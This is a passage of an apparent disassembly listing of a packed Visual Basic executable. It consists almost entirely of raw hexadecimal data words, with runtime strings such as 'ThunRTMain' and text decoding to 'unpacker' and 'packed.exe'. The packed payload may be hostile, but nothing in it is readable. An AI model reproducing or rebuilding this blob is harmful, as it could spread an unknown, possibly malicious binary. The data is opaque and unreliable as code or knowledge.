4F448DFBh, 0F28C3281h, 4C9h, 11A61E5Eh dd 7FC04403h, 0DE67E59Dh, 3E870742h, 9025A122h, 28ABC804h dd 4C090BACh, 0F7ED6FD0h, 124CCC71h, 0BD812196h, 2AB21059h dd 23E16E6Ch, 9925A3DDh, 0DF4339BBh, 0E8ED118Ah, 782071EDh dd 910B4F4Ah, 30CB4625h, 0DB5F14F6h, 6DEBE96Bh, 0E6896CC1h dd 2A300251h, 0DE9D29ADh, 59F9BC1Bh, 0EDD46734h, 32CE4002h dd 50CC37B7h, 2F259A16h, 7434E7E6h, 0DBFh, 9CA19D00h, 0FF000000h dd 96A1h, 38C9FF00h, 80B2A634h, 0EC6824B7h, 6AD45010h dd 0F06C6F89h, 9C2AA546h, 0B132D5AAh, 6FEA8935h, 0C9116FF3h dd 827D6E23h, 595F3C56h, 4F11D981h, 411h, 0C96EE6E6h, 37880C4Bh dd 962FAD25h, 0F64FCF8Ah, 48ED696Ah, 0F0F3904Ch, 1451C374h dd 0BF352798h, 0DA948439h, 75C9D95Eh, 2AB3D8E1h, 0EBA9A66Ch dd 0A63438C9h, 0D55110CAh, 38C3B93Bh, 2EFE835Ah, 0F862DD68h dd 0C2876662h, 0EC76CF4Ah, 6C20F1DAh, 6ED74D0Fh, 5117F6F2h dd 0D886BDBh, 3AFDFA1h, 0A37D0000h, 0F34339B9h, 6A078D70h dd 429874E6h, 0B83B8B03h, 0B727DD45h, 0C84B6824h, 75F7887Eh dd 0D1AD09E5h, 2AB87C0Dh, 0F317026Ch, 6C2AB8CAh, 2CB649B4h dd 6E23C9D2h, 20498D69h, 5E6A2DA7h, 351518E3h, 2DA79821h dd 0F87BE66Ah, 595F4C2Ch, 4B15C581h, 359h, 8136AE2Eh, 0EF50D493h dd 4EF7756Dh, 0AE1797D2h, 0B531B2h, 0B83B5894h, 0DC997B3Ch dd 77DDF60h, 0A2DC3C81h, 2D319126h, 2AB38029h, 0B311FE6Ch dd 1D5538C9h, 5CBE1C9Fh, 0B852A521h, 24B7B2A4h, 0CF53CE68h dd 3A439773h, 446C2AB8h, 38BA26D9h, 5F19FBBCh, 0EE355E1h dd 7D724EDCh, 0B93A8400h, 6EFCB8E8h, 0E757D792h, 0CD118904h dd 6E296AA8h, 3B970BF6h, 0D225A321h, 8D5E0446h, 4F7EE23Dh dd 316A272Dh, 84FB9DC6h, 0EF8334B7h, 0C6BECF13h, 55C06A27h dd 38B436A2h, 65E7988Eh, 0A0E361F5h, 5A8F682Eh, 97D0BAF9h dd 9BC8AB1Bh, 239E5EEAh, 5676B1F1h, 9A642A87h, 29Dh, 45FA7272h dd 0A31490D7h, 2BB31B1h, 62DB5316h, 0C479F5F6h, 7C7F1CD0h dd 0A0DD3F80h, 0C3819324h, 6660F045h, 0E97555EAh, 2AAC4475h dd 6F2D3A6Ch, 9925A3DDh, 16F6A0C5h, 0C7E90B62h, 0AA26A03Ch dd 0DA5E1315h, 59DD9A40h, 17EB0EEDh, 2E2BBDC3h, 8CC41668h dd 3A3DBE08h, 26BA04F7h, 3A3DB934h, 204D1558h, 3C7FD86Ch dd 3C514382h, 2A027Ah, 62F80000h, 0C410EB63h, 0A63438C9h dd 2EC238B2h, 0A1392468h, 0BF423ABBh, 0B6E68B8Fh, 0AC2B6C20h dd 6606CF09h, 0C75F7A3Bh, 0BD000000h, 0F44A3DDh, 3DB83B8Bh dd 54D09371h, 8AC416EAh, 6F69EB0Eh, 85C745F1h, 6D4B60Fh dd 0AE34CF47h, 6A27B7ADh, 5FE05C1Eh, 0B90583FDh, 3FB53725h dd 50D48D8Fh, 0CDA222D5h, 567BD74Bh, 8A88E2Ch, 0BADD8865h dd 3C4E4087h, 0FE24BE41h, 92682EF8h, 0EB0581C6h, 48ED68ECh dd 0B92123DCh, 276A5BA5h, 0D004E06Eh, 6A290AA9h, 0AE9164D7h dd 0A69A2FB3h, 0BF3B82DAh, 0DA5E15F7h, 5611CB27h, 0F4F765DAh dd 56E0AC78h, 8931815Dh, 174F7h, 0D3490500h, 6DE9EE6Ah dd 8C0848C8h, 2CA8292Bh, 52CE898Bh, 1073EBEDh, 0F662DB57h dd 5AC67FF7h, 3527981Ch, 2A783DBBh, 0AD7B02D6h, 8056C2Ah dd 26A2DD88h, 4BC18391h, 38C926F2h, 38B2A634h, 24682EC2h dd 0E4898D39h, 296C20B6h, 4CD0BAEh, 2C7A3B66h, 0ABDC8D99h dd 4BAEB3FAh, 84DAh, 0A3DD3E00h, 24A7B525h, 96118FC9h dd 76B04B28h, 0EF5FDB94h, 27B7F06Bh, 8B01436Ah, 28A42632h dd 55D7A89Eh, 0DF0311C5h, 0EC6F682Eh, 2024DD4Bh, 4EFDA6BAh dd 0A4976E27h, 2FAB2436h, 4DC98A96h, 5DD91783h, 0D8A65481h dd 0C9h, 11A61E5Eh, 7FC04403h, 0DE67E59Dh, 3E870742h, 9025A122h dd 28ABC804h, 4C090BACh, 0F7ED6FD0h, 124CCC71h, 0BD812196h dd 2AAE1059h, 23E16E6Ch, 9126A2DDh, 0F24BC183h, 25A3DD26h dd 4103D9B5h, 0BC9E2FCBh, 75E06A27h, 84C64482h, 72ED6B69h dd 0A2A65BCDh, 0B72A2438h, 0DB466824h, 5ADE9547h, 0EBE567A7h dd 34D0540Ch, 0FD423DB9h, 7CF8FB61h, 0E75D1FF9h, 217F357h dd 1AFD357Fh, 49C78157h, 35771AF4h, 1E4EBFE5h, 0C3BD1FE2h dd 2E863493h, 98413D6h, 0C78C21BDh, 275B9D6Ah, 4DF97576h dd 4CC833AEh, 93259115h, 6567B9FCh, 88CA56EFh, 0C6BECF13h dd 55C02550h, 2F79350Ch, 0F477E93Bh, 3B44Ah, 8AEA0000h dd 2BA1DDD6h, 413FB99Bh, 0DB5117F5h, 70ECE96Bh, 8F0B44C6h dd 26A2DD3Fh, 0BF3FBA98h, 0D7550D0Fh, 6AEEE567h, 486868DCh dd 8900000Fh, 0EC832404h, 24348904h, 81E28952h, 4C2h, 4EA8100h dd 87000000h, 895C2414h, 6268241Ch, 89000015h, 18BB241Ch dd 817C6F3Bh, 9DCA30C3h, 5BDE8989h, 4EC81h, 24890000h dd 24048324h, 0EC815B04h, 4, 81243489h, 33502434h, 438F0EE6h dd 8738108h, 0EE63350h, 5B2434FFh, 4C481h, 34FF0000h, 0C4835E24h dd 3041E904h, 6EC9FFFBh, 520E6FAFh, 25BE1C91h, 7CCBE80Eh dd 0D1371B8h, 0FFC50306h, 0BC81D0E0h, 53C36A6Bh, 0EB0E3950h dd 520E4A23h, 5242957Bh, 57558D08h, 0E53BFB1Ch, 0EDC9609h dd 0F932094Bh, 9347F33Fh, 0D30D3F26h, 61811723h, 0D41E0066h dd 0CE87Bh, 6A180000h, 20D698B1h, 2AD55634h, 5160ED95h dd 0F78B6659h, 0CE95F61h, 76000000h, 9D3A43B2h, 7F2E2140h dd 81313E51h, 643DC7h, 0D2BF0F00h, 870FDB33h, 0Bh, 6E9h dd 3329DB00h, 0FFCA1510h, 0DE93B34h, 0FE000000h, 526D3610h dd 0F683364Eh, 6E07CE64h, 10E858h, 670A0000h, 880C8204h dd 0FF037462h dd 8E88A82Dh, 0C981654Bh, 7F12B75h, 4BE88159h, 0B627968Dh dd 94C08185h, 0BA0147AEh, 2EAB5311h, 0CBBEF081h, 60517061h dd 0B70F5F51h, 895A61C8h, 0BF0F1F04h, 0F0B70FD0h, 13E6EB81h dd 880F7D01h, 5, 62AE13B9h, 0E2C38174h, 0E97D0113h, 0Dh dd 634D958Ah, 0D878D84Bh, 0EA2164DFh, 0BCFB81EFh, 0FFFFF9Ch dd 1785h, 8F0F00h, 0E9000000h, 1Fh, 1ACAA660h, 5BF13AAh dd 1C197339h, 840Fh, 4CE90000h, 0EEFFFFFFh, 0B20D3F7h dd 0E84BA37Eh, 0Ah, 380AB2C7h, 6C114463h, 0FE91DDCh, 0C8000000h dd 180D43FBh, 0CF5A4010h, 809EE5ACh, 52594043h, 7E8h, 55B80A00h dd 972C7A4Bh, 0C181585Ah, 5E0Ah, 3EBE63B0h, 0E8000017h dd 0Eh, 0FB9FA494h, 7CE9F098h, 1A20FC8Dh, 50563088h, 8B5A5A5Fh dd 12E919h, 2FCA0000h, 0E1800C9Ah, 0D2C97D21h, 0DB460C40h dd 48F8B604h, 0CB84F381h, 20B862D9h, 811F2F2Dh, 541C59F3h dd 870F02h, 81000000h, 44E0F3h, 53D38B0Dh, 9E9h, 0B92A2100h dd 462D05BBh, 18F84DAh, 81ACCE80h, 31E973E9h, 1A8D0F0Ch dd 56000000h, 13E9h, 9189E200h, 90CDD929h, 2ECC59Eh, 0FB98BC16h dd 0D2111F3h, 6FC1815Ah, 0E90C31E9h, 6, 4A2B4047h, 0F4E285Fh dd 1F85h, 0B8666000h, 61F87DF6h, 2DE9h, 94416B00h, 1ABC78ACh dd 0FA90E9ECh, 0E544A7F2h, 5CF0E5A6h, 0FF51E9F5h, 0FF7EFFFFh dd 66FD73Eh, 0EA56D3EDh, 6B03805Eh, 0E456E5F4h, 5CE96118h dd 0C5000001h, 4377E705h, 5F6D5C3Ah, 61706E75h, 72656B63h dd 63617000h, 2E64656Bh, 657865h, 3Ah dup(0) db 0 db 2 dup(0), 33h aCannotFindS_Pl db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 aEJs db 'E"J',1Bh,0 align 4 dd 0D19DC68h, 65B8E906h, 0E868FFFAh, 0E9060D1Ah, 0FFFA65AEh dd 0D1C3B68h, 65A4E906h, 368FFFAh, 0E9060D1Dh, 0FFFA659Ah dd 0D1D4968h, 6590E906h, 0B68FFFAh, 0E9060D1Eh, 0FFFA6586h dd 0D1E7E68h, 657CE906h, 0EB68FFFAh, 0E9060D1Eh, 0FFFA6572h dd 0D25A368h, 6568E906h, 2368FFFAh, 0E9060D26h, 0FFFA655Eh dd 0D26CF68h, 6554E906h, 9068FFFAh, 0E9060D27h, 0FFFA654Ah dd 0D27EA68h, 6540E906h, 9668FFFAh, 0E9060D28h, 0FFFA6536h dd 0D297768h, 652CE906h, 1A68FFFAh, 0E9060D2Ah, 0FFFA6522h dd 0D307268h, 6518E906h, 6F68FFFAh, 0E9060D31h, 0FFFA650Eh dd 0D321968h, 6504E906h, 0F0D7FFFAh, 0B78D40A8h, 684499E1h dd 0DA3BD63Eh, 96F36E76h, 0DF9BBAC2h, 55BDEBC4h, 0EFF759B8h dd 3A421072h, 7199CF27h, 85393ADEh, 0C50300D3h, 3779C75Dh dd 0C094ED31h, 0C1101E56h, 0B48F8253h, 0A2BE24E4h, 0F6441E44h dd 0ED0E1C7Bh, 54D2723Fh, 0EDA7EDC5h, 0F761370Ch, 2DE7EFBFh dd 0C1FA58DFh, 5B0BFF58h, 8C293F1h, 0E749D531h, 4A264EA8h dd 4F07F139h, 0C17AC59Fh, 810F34E8h, 0BC9D47B1h, 4F07F1A7h dd 8A1E9C9Fh, 7256030Ah, 6A4AA77Ah, 0A1E66C3Ch, 68B5E1A8h dd 2Ch, 40146DCCh, 14CE9ED6h, 6C267F95h, 4A1E77CAh, 0C1D4999Ah dd 0C340F34h, 0C129910Ah, 6D61030Ah, 75C38087h, 0E44AB5E1h dd 8E000000h, 181E44A2h, 0E085CB9h, 6BEDB393h, 2C7250A9h dd 0DB81E17Ch, 85CB2801h, 104E8DC5h, 81050DC7h, 7E93FBA1h dd 12C43218h, 0E155A678h, 0A1050DCFh, 0CF1CA291h, 432E050Dh dd 7CD0D653h, 7C7EF83h, 0C49EC70Dh, 6CCF0B65h, 50D6BCAh dd 8472BA8Ah, 0F97A00C0h, 0F343F1Ch, 0D67C84ACh, 9729E3B0h dd 0A4012A4h, 0A2625203h, 9CB51F18h, 21110935h, 0EEB4966Bh dd 0D66C3C68h, 904A1E7Bh, 9ADBF7AAh, 0E1A140AEh, 0F8DE33E9h dd 126FF292h, 0B6D36BD4h, 0A3930503h, 50C7E27Bh, 0EF650911h dd 18E28Eh, 31177E00h, 8ADC3429h, 0C791EF62h, 1F45A2BFh dd 6B391AF7h, 6B78F203h, 0DF325A0Eh, 914C94C4h, 4A87EFB5h dd 41DE266Ch, 0D2E254A7h, 32A20300h, 1341A2B8h, 0B0EB51CBh dd 12C84936h, 66FBABh, 95B8325Ah, 936C267Fh, 0F34C1DAh dd 0E41FCC3Ah, 28801BF6h, 4DAC76E0h, 70342276h, 0B4EF53D0h dd 0A3A7030Ah, 3B1BF649h, 0E3A3E355h, 0E1EA2A69h, 10EF1B5h dd 0A2770000h, 0A2441E44h, 0DCBED51h, 53AADF05h, 0FF92606Fh dd 95933303h, 0FB7D2B04h, 0D904600h, 7DFE9005h, 50D98B9h dd 7854C9F9h, 0AC7C282Eh, 0C32B7151h, 0F462280Eh, 17AF8822h dd 57050D98h, 7F95BF6Fh, 98F34BB4h, 83B3050Dh, 59B6815Bh dd 0E90F34CCh, 7D6BB1D9h, 6FC86238h, 30AB3D7h, 0AF5AF97h dd 30AB3B4h, 461CCCF4h, 356024F5h, 0CC1AE409h, 1F45A2ADh dd 2C0D1311h, 0F6D32EE4h, 0F97FC730h, 0F73F0503h, 49AAA7CFh dd 9C71021Bh, 0BDB30911h, 17D620h, 25634A00h, 7E2000DDh dd 0CB9DFB16h, 349AEA3h, 5F0566FBh, 776CE637h, 2B264E1Ah dd 9D7098C8h, 568BD381h, 4DC22A70h, 0D1F648ABh, 2EB60300h dd 0EE43E554h, 0ED51C288h, 0CC050DCBh, 0F8C8A4F2h, 79F8D528h dd 0D0398F1Fh, 0DA8D69C0h, 0B8E0A492h, 0D1A11CE2h, 3B2D3454h dd 50A9636Bh, 0E37E2E70h, 2D991B83h, 62480100h, 0AA89603Ah dd 47338B74h, 4373050Dh, 0A9034B1Bh, 181E44A2h, 0EBF359B9h dd 0AAFCD831h, 90F59B7h, 41878D5Dh, 88B0E4C1h, 0EC2061D2h dd 72D00F34h, 0AD63D81h, 0D357D03h, 0C437C90Bh, 30AD672h dd 0E1420232h, 30AD659h, 50B73D11h, 0B5E183F3h, 0EFBAh dd 9369BE00h, 0B51B188h, 0C293F15Bh, 0EF6E2F08h, 439E0F34h dd 81C53365h, 85643C59h, 0CE2DFDABh, 57A47F1Ah, 0D72CBAA8h dd 97DF9781h, 5AF60FFDh, 192AA78Bh, 0A5E1573Dh, 2417AD7Dh dd 0DDA9468Bh, 73253C1Dh, 5EE05385h, 1ED19769h, 423EEE16h dd 24228472h, 2E03A57Fh, 65C686CCh, 0DBA9EED7h, 4C5FFF4Dh dd 622153C2h, 9DA32D91h, 1D456DD7h, 0EBA1914Dh, 0E96F3516h dd 0FA57EDBDh, 0B3AEB69Ch, 3A0CCB53h, 0CADF34E5h, 4870B8EEh dd 8EF1A8D1h, 97F66C36h, 1683h, 8AD2B699h, 0C32B7D57h dd 10782E0Eh, 0A8B0E4FDh, 0E40C58B5h, 0A98A1955h, 1B7E93FBh dd 0D6302D35h, 8DE57880h, 44E0BFC7h, 0D743FBh, 19930303h dd 4EF043E5h, 0E050DCBh, 0BB9B6626h, 83C163D5h, 0CB4FF740h dd 0F20F050Dh, 1252C492h, 0FE8A2EAh, 0F34EC4Ah, 88628ABAh dd 0B1889369h, 5C080E52h, 1340868Ch, 0EFC1FE79h, 1310F34h dd 0D2CF75F4h, 0E75588D5h, 0DB3B6681h, 0C6318B75h, 9EF45E0Eh dd 932C0FC5h, 238E1B5Ch, 45832513h, 43F97A10h, 0FF881BF4h dd 38E26571h, 302D1A26h, 0DC888ED0h, 1A70FE94h, 58EDEF80h dd 0D21A4EA7h, 0AA5CD36Ch, 7E2E7911h, 276D45A4h, 7E2402DFh dd 0FCD8E8E7h, 6F0E0487h, 15BBh, 0F21A4EA1h, 0B53051Fh dd 58A0F6D6h, 90F8AC85h, 2C34607Dh, 7152510Dh, 2306DB23h dd 9EF8157Dh, 55ADA0C8h, 8C28E70Fh, 0D60BB3h, 61DB4B03h dd 37D844A2h, 381FE6Ah, 0FA9F76BEh, 6091F06h, 15756D00h dd 84EB0000h, 43A1BCC4h, 3C18F51Dh, 0F6CF026Ah, 0AA875AA2h dd 0B4796FEh, 81E9BF98h, 0DB23754Ch, 167E2406h, 0ADB59BFBh dd 51E556F2h, 110300D6h, 44A22B81h, 588E181Eh, 0DDF6411Bh dd 6D0F34F3h, 24EB3D45h, 0B1FA796Fh, 510C6832h, 288E6923h dd 68030A9Ch, 0F97A1058h, 933B8BCh, 14AE644Ch, 0D80932Bh dd 23E3D305h, 58612B26h, 0B5D39855h, 0AA902AE0h, 60D91544h dd 5C6DD3E2h, 8FCF218Bh, 0F253D070h, 42939CFAh, 1F194FA7h dd 94752F57h, 0A96BEDBBh, 0A2D5E84Eh, 5098A89Fh, 0C8A431EEh dd 0CD9DBAB6h, 0EA8BD96Bh, 4C79C730h, 0FDC5959Ch, 0A6ECCA27h dd 0FDA3835Eh, 7A527B64h, 2A43B96Ch, 14B3h, 0FA0246A9h dd 335B0D67h, 40A8FEDEh, 98E0B48Dh, 0D43C6845h, 795A4905h dd 2B0EC32Bh, 0E6C01D65h, 5DB5A8B0h, 9430EFF7h, 0D513ABh dd 69C35303h, 0AC2F04E5h, 54100650h, 0AA7A2A2Ch, 0DCBF549h dd 0FB70CA05h, 0F34F050Dh, 95050DEBh, 5E0E58B4h, 0DCB5DDDh dd 96613B05h, 50DCB20h, 87712701h, 430333CFh, 5BB298FEh dd 91FCE4Ah, 401568EEh, 0DC000014h, 9A779FC9h, 4D80E8BEh dd 0DD2573h, 0F8157D23h, 90A1C99Fh, 0A4F0CDD6h, 0FEA2815Ch dd 491F7B96h, 80D62C21h, 320DA778h, 300D58Ch, 95EE44CCh dd 0F34BB47Fh, 0D2050DCBh, 0E2D2AEF4h, 0ED4EE0BAh, 50DCB49h dd 0D3693909h, 0A9613339h, 5B3B837Ch, 4B7B050Dh, 0E3E680C5h dd 8A0BC023h, 0DBEB0F34h, 188C6D42h, 3449CF03h, 13D3h dd 0DA226649h, 137B2D07h, 0A0C89EFEh, 0F80054ADh, 345C0865h dd 197A69E5h, 0CB2E234Bh, 86E07D85h, 7D5588D0h, 0B450CF17h dd 0D5F34Bh, 4923B303h, 0EBCB44A2h, 0C126B3A5h, 0A1E99D9Bh dd 462FF79h, 70E6AA8Bh, 590A0C34h, 194FAA87h, 0A0A70D49h dd 0AFDA66E3h, 29AAh, 43E5AE00h, 0DCB4EF0h, 45136F05h dd 0D7DF93D3h, 0CB863437h, 4FA7050Dh, 9E02F119h, 0BB05E054h dd 57C1095Fh, 135236h, 17E54200h, 0C4E4602Dh, 35A5AB70h dd 0BBC3D8CCh, 6141DC8Ch, 7D6B3D3Bh, 4AF549AAh, 8DB5050Dh dd 14F58F45h, 0BFBC6C3Ah, 0F344832h, 0F01A6252h, 6E381492h dd 0DE74BCE8h, 3B3D6343h, 3601DB8Bh, 93361F9h, 8E633909h dd 0C127E7ADh dd 0F5E47450h, 0FAAE8BA0h, 8EC6487Ch, 1179A1DAh, 0DD559E2h dd 36187805h, 8FD1332Eh, 95F24F89h, 0E0563C1Ah, 0CAFA7CA4h dd 2B2D7B57h, 7256AB7Bh, 52AF2A2Ch, 0A5811006h, 176B79FFh dd 5703189Dh, 0E1B78D5Dh, 89543399h, 839EAFDAh, 0D02FFFA1h dd 1CAh, 267F9514h, 0C2BE936Ch, 161E0F34h, 0EADF8E7Ch dd 166539A2h, 0D826F076h, 36906EDDh, 0C05D0DF8h, 0BB56BEE0h dd 0EF5DF759h, 29092E87h, 0E2F2FD63h, 0C0BBBD6Dh, 30A517Ah dd 20167A5Bh, 0FADE51B1h, 0BAE2A294h, 0E2CA2EBCh, 101EBADDh dd 49BAF2E3h, 3256F682h, 9EC020BAh, 0FDA6AC76h, 0C36BD427h dd 0EBDB0933h, 0A9FFD831h, 80E58B4h, 2FAA8C5Ch, 0E37E86D2h dd 3238D286h, 58BBC1E1h, 0D8460E08h, 0B1516AE2h, 418034B7h dd 0C55F050Dh, 0D0AB1977h, 24E4FE5Bh, 0D132CC20h, 1370C983h dd 0CB9BCB4Dh, 246A4E83h, 2C09E032h, 16B6FE78h, 0F167290Bh dd 0A1787C66h, 31276948h, 97A214E7h, 0D2E2050Dh, 0D67FAAAh dd 97BB815Bh, 1A1D1A62h, 0B01A7212h, 0AFDA8AD3h, 7220021Fh dd 224DD2h, 56AB0000h, 7E362076h, 41A234AEh, 5BB42513h dd 0CA880B0Dh, 792F08E2h, 6BCC8B11h, 0CB53AFDAh, 91000000h dd 6C267F95h, 4D1B77CAh, 0F4E99E9Dh, 0EC090F34h, 1F57C197h dd 90F061D7h, 49ABA6CEh, 0B4A2F0D2h, 0D34EC8F0h, 28A9AFF1h dd 9187C9h, 15847224h, 0B8EC6A3Eh, 0F8BD37A3h, 0C437C963h dd 30ADE72h, 6420232h, 92C4DCAEh, 80A3E04Ah, 716AB5E1h dd 0EE000000h, 6F257E95h, 0DCBDA8Ch, 273D1C05h, 52DD171h dd 0C391F24Fh, 0EB08355h, 4E050DCBh, 886E3E66h, 28F4E04Eh dd 38ED17ADh, 0CB9BC925h, 0DA3D268h, 0AB860005h, 55110749h dd 1ACA9CF8h, 8923F6FEh, 0DA108AEh, 0A8784805h, 643E6562h dd 0DA1D39Bh, 49033305h, 76CC7FE3h, 0DFB3185h, 0DF417105h dd 0AB7B97C4h, 3710E9A3h, 7A0A161h, 0D8000000h, 445Eh dd 42A2DA00h, 5DB72214h, 0DD3C38CDh, 0F85538EAh, 7880C89Eh dd 5FD98FE5h, 57C192F5h, 0D3D65D4h, 0F7FDD105h, 0B8ECC920h dd 239B64BEh, 63FAF2C2h, 0A5252B53h, 81F8083Eh, 86CD8747h dd 0DAFDA09h, 0B30h, 2A04E5CBh, 6D66AC7Ch, 7447383Eh, 0C88B5097h dd 0F049E0D4h, 1A4ACC92h, 9BC3804Ah, 374A3985h, 0AE000000h dd 9963F040h, 0A76770ECh, 2C04E53Dh, 6F60AA7Ah, 2195663Ch dd 47050DCBh, 0F54800F9h, 0FAAAC299h, 47383E06h, 0AC987DA1h dd 54BB3115h, 594DF7EFh, 27EB6h, 7295B200h, 0B2B64B21h dd 441E44A2h, 8B1D02F6h, 91F0E80Eh, 0D51D49CFh, 0DE5A4F35h dd 0DA5F7ED5h, 279A60B2h, 0B821EA8Fh, 7E916E3Eh, 57000000h dd 7B2D04E5h, 51071CFDh, 0A767AFE7h, 43396A6Dh, 0CBA11AE5h dd 4E1050Dh, 9B31792Fh, 0CBC076C1h, 7680050Dh, 2950B199h dd 52F23AD9h, 0F043E5A8h, 50DCB4Eh, 0DC66260Eh, 0ECB4343Ah dd 17DB2C7Dh, 17E58D77h, 0CD20F069h, 0B9B1B0EFh, 14CB1B74h dd 0C7213CECh, 43E5DB91h, 0DCB4EF0h, 6C260E05h, 0DCB2B93h dd 8B5B6B05h, 43E564D8h, 0DCB4EF0h, 2B260E05h, 84C585CBh dd 23h, 2172953Ch, 0A11AE54Bh, 0A8050DCBh, 43E5601Ah, 50C389EEh dd 50DCBEEh, 3CC686AEh, 1442A2BAh, 0BC48CC5Eh, 0CA6FB5D1h dd 55BDEBC4h, 510762FFh, 4C1A7AE7h, 99F94404h, 9D60D621h dd 10204FD3h, 93EC61E8h, 0E1C35CC5h, 21996C79h, 0CDF56B4Ah dd 0A5EBCE4Bh, 0EEC6DCB3h, 0D7DD39C9h, 1C792F07h, 0E7BDE3C3h dd 0FC7A280Ah, 771118C8h, 0DA7CC6F1h, 0D383E559h, 6B48A54Fh dd 4B733325h, 0E5757F9Bh, 0A1B2C78Dh, 0A7EDCE41h, 44CDF5B1h dd 0C228EECBh, 8023B14Ah, 88DE3A13h, 1EA38040h, 5E4FD393h dd 3B1FEF56h, 2E909EB1h, 4E1BF30Ah, 9D102628h, 0FA1849E5h dd 0A9FFD72Ah, 0C132D44Ch, 4FD3977Dh, 4ECAEB4Fh, 966AF7D5h dd 663FEAEh, 0A7BEE452h, 7F0FE5FDh, 332E3662h, 0B848DD3h dd 5C08B12Eh, 78484FD3h, 77CA0EF1h, 7B9F4F19h, 0D3B99971h dd 22946739h, 624FD35Ch, 8A57B252h, 297FE6ACh, 79C79D14h dd 8E67A0AEh, 0E1E5A560h, 4D13730Bh, 81D72F28h, 7E2A0798h dd 4CAD77F7h, 0E3352375h, 0D3AEAE10h, 9EC6EE4Fh, 48228ACEh dd 936E246Ah, 3E76E0B0h, 43A96B6Eh, 7995C9ECh, 2710CAE8h dd 4FD36F9Fh, 4D37D7DFh, 641E44A2h, 4E5B2B6h, 0E888BC2Ch dd 0E93E5671h, 3C2BE1A1h, 0DA0250B2h, 0D5DE5A20h, 0B2DA5F7Eh dd 2225h, 7E952300h, 1AE54F25h, 50DCBA1h, 7E2804E1h, 63E5BC36h dd 0EEC546A2h, 0CCF872BAh, 255E48h, 95DA0000h, 0E54F257Eh dd 0DCBA11Ah, 601AA805h, 46A263E5h, 0CB0DB182h, 654D050Dh dd 3C6875FBh, 88B03F7Fh, 0E548CCF2h, 0E77A2C04h, 2D59DF89h dd 0FDBEFE7Dh, 1CB6050Dh, 9D70243Dh, 2363D583h, 0FD2B6263h dd 0BC9EFFFFh, 50DCBFEh, 1371F7E8h, 0C19BCB4Dh, 0DCBC076h dd 88B08005h, 0C593ED60h, 0CB66D853h, 0ACB4050Dh, 56B648h dd 1B9AF74Ah, 34226A3Eh, 0E2B8D070h, 0BF4320Fh, 50DCBB3h dd 9D9BC3F3h, 0CC2439E9h, 0BBA8729Ah, 0C0FD7EF8h, 38C3E7B6h dd 0A49D024h, 0D4F230BAh, 5AA51D75h, 475B80E4h, 0BE549CA4h dd 5B80F9BDh, 0D989B947h, 1C446h, 0FFBC8200h, 0E9050DCBh dd 17E0BAFBh, 0F349EA6h, 0BC62E16h, 0FA17B2Dh, 0AE18A2Ch dd 2AFACA03h, 21774DCCh, 0CD4EAA37h, 2BB6A0F4h, 295199CFh dd 164F852Fh, 0E32A837Ch, 0BA8A0933h, 1FA356A3h, 411C1209h dd 0D1Bh, 127A2E01h, 0ABB3E5FFh, 0F80056B6h, 30580C65h dd 4C94C0DDh, 0D132B1ADh, 83E67B83h, 7E58B5DDh, 350DC028h dd 0EC88076Fh, 0EEAB13h, 817BEB03h, 181E44A2h, 0E8CE588Eh dd 57A07AA2h, 0F3EF25Eh, 0FD5CF63Eh, 0B0ADB5E3h, 0C2140254h dd 2AB8737Ch, 0AC7C00D7h, 9EFE7151h, 2A52061Dh, 0B4D274E2h dd 0AE3C827Dh, 347C0300h, 61A9FFD9h, 0FD7748ABh, 0F370939h dd 157AB516h, 0E4F97F09h, 0C9Bh, 92FAAE81h, 2B33657Fh dd 7880D636h, 0B0D88CE5h, 0CC14405Dh, 51B2312Dh, 366FB03h dd 0FED8355Dh, 0B58D40A8h, 6C0887EFh, 0ED2B93h, 1FB6B03h dd 181E44A2h, 411B588Eh, 0CBEA4CAFh, 9AAA050Dh, 32C730CAh dd 820F34C7h, 5FB7AAB2h, 91C70CFh, 65ADB7C2h, 58D241AFh dd 86F7B94Bh, 6E648EC6h, 0BE9C9F35h, 0D809396Ch, 8FE46741h dd 0DF191D9h, 0B2926F25h, 42318576h, 41710507h, 5EB34919h dd 9F72287Eh, 0DC34D484h, 87712701h, 0A1833C1Ah, 54D79FFh dd 253B113h, 11D6EF48h, 0AE960F3Eh, 12165EB7h, 49241A03h dd 0BEFh, 264E1A6Dh, 7F87C92Bh, 8CD482E2h, 0C42C7051h dd 10782C09h, 3D1E85C1h, 0F7D20F57h, 0AA8459A1h, 197994FCh dd 0D0742B33h, 0EDDF67h, 0BD379F03h, 181E44A2h, 411B588Eh dd 34985DF6h, 0FC5ED0Fh, 0C080D632h, 0FC7F5588h, 6189B1E7h dd 0BEC690ECh, 267F95C4h, 0F4CE936Ch, 260E0F34h, 0DE03BF30h dd 0C622030Ah, 0DF3BA690h, 3D458F89h, 1276F2B7h, 12ED879Ah dd 30ADEACh, 4E04C4ECh, 0B5E18009h, 7690h, 46A25400h, 57A07A10h dd 50DCBEFh, 0AA8A87AFh, 9A4A7AFCh, 71273D9Ch, 573D1A87h dd 4E1070E1h, 0ADF61C26h, 0EBAB04F7h, 0DC3D0F34h, 9F595C3h dd 0AEF32039h, 0BBB10318h, 0B2E22h, 8DDB3200h, 0C688E865h dd 1345A3BEh, 6B3116CBh, 0A7EDCE03h, 0DFC4BE5Fh, 934E96C2h dd 4598E0B0h, 3ED33B69h, 0B56A72D8h dd 0EC9E2013h, 76DE0300h, 1046A2FCh, 51E9C8h, 0A2130000h dd 8C261046h, 0A5EBC846h, 11CBF3B3h, 34C98126h, 3811210Fh dd 318CDE5h, 0D480DD53h, 4800000Ah, 6DB2365h, 0F9147C22h dd 0ACA1C99Fh, 64F90157h, 0E4355D0Bh, 481C796Ah, 82D62D20h dd 0DD8BE77Ah, 147A58B5h, 46B153CCh, 300ECF0h, 0A24A20B0h dd 0BB38C44h, 4B050DCBh, 54C5337Bh, 652E287Eh, 0D3B0971Dh dd 5AAFDA67h, 236h, 0B843699Eh, 0AB0CE2B2h, 67275518h dd 24FEA7ADh, 34D49ADBh, 3F5A6A0Fh, 0A344D93Ch, 0D89DCB74h dd 10043102h, 8CB4FAA4h, 361A7BD6h, 6DCE84C0h, 0F69A68C9h dd 0FE9B989h, 5CF6AFA5h, 0A4EF5DE3h, 3BD1E1FCh, 734FC026h dd 41A63325h, 43ABD31Bh, 6BE2A88Eh, 1381EFC0h, 289FFE74h dd 3400000Ah, 0F26F77D1h, 0A5B8C096h, 18F51D4Bh, 0D00D553Bh dd 0B859A1F7h, 9CC825BEh, 0D6BA9974h, 2177538Eh, 782E04D9h dd 1AE5BF10h, 300E3A4h, 0E5867CE4h, 